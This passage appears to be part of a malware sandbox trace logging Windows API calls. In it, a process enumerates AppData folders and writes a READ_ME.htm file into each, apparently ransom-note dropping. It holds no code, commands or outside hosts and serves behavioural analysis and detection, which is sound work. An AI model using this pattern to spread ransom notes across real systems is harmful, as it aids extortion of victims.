cFileName="..", cAlternateFileName="")) returned 0 [0149.301] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.301] SetErrorMode (uMode=0x0) returned 0x1 [0149.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6c [0149.301] SetErrorMode (uMode=0x1) returned 0x0 [0149.301] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.302] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.302] SetErrorMode (uMode=0x0) returned 0x1 [0149.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm", lpFilePart=0x0) returned 0x78 [0149.302] SetErrorMode (uMode=0x1) returned 0x0 [0149.302] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.304] SetErrorMode (uMode=0x0) returned 0x1 [0149.304] GetFileType (hFile=0x1d0) returned 0x1 [0149.304] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e5d00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x28e5d00*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0149.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5f [0149.305] SetErrorMode (uMode=0x1) returned 0x0 [0149.305] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.305] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f125f50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f0f5210, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f0f5210, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ed7ee60, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f10d8b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f10d8b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f125f50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f125f50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0149.306] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0149.306] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.306] SetErrorMode (uMode=0x0) returned 0x1 [0149.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5f [0149.307] SetErrorMode (uMode=0x1) returned 0x0 [0149.307] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f125f50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f0f5210, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f0f5210, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ed7ee60, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0149.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f10d8b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f10d8b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f125f50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f125f50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0149.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0149.308] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.308] SetErrorMode (uMode=0x0) returned 0x1 [0149.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm", lpFilePart=0x0) returned 0x6b [0149.309] SetErrorMode (uMode=0x1) returned 0x0 [0149.309] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.310] SetErrorMode (uMode=0x0) returned 0x1 [0149.310] GetFileType (hFile=0x1d0) returned 0x1 [0149.311] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ed638*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x28ed638*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0149.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0149.314] SetErrorMode (uMode=0x1) returned 0x0 [0149.314] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.316] SetErrorMode (uMode=0x0) returned 0x1 [0149.316] GetFileType (hFile=0x1d0) returned 0x1 [0149.316] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f1c88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28f1c88*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm", lpFilePart=0x0) returned 0x57 [0149.319] SetErrorMode (uMode=0x1) returned 0x0 [0149.319] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.321] SetErrorMode (uMode=0x0) returned 0x1 [0149.321] GetFileType (hFile=0x1d0) returned 0x1 [0149.321] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f62a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28f62a8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0149.323] SetErrorMode (uMode=0x1) returned 0x0 [0149.323] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.324] SetErrorMode (uMode=0x0) returned 0x1 [0149.324] GetFileType (hFile=0x1d0) returned 0x1 [0149.324] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fa898*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28fa898*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x34 [0149.326] SetErrorMode (uMode=0x1) returned 0x0 [0149.326] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0149.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0149.327] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.327] SetErrorMode (uMode=0x0) returned 0x1 [0149.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x34 [0149.327] SetErrorMode (uMode=0x1) returned 0x0 [0149.327] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: 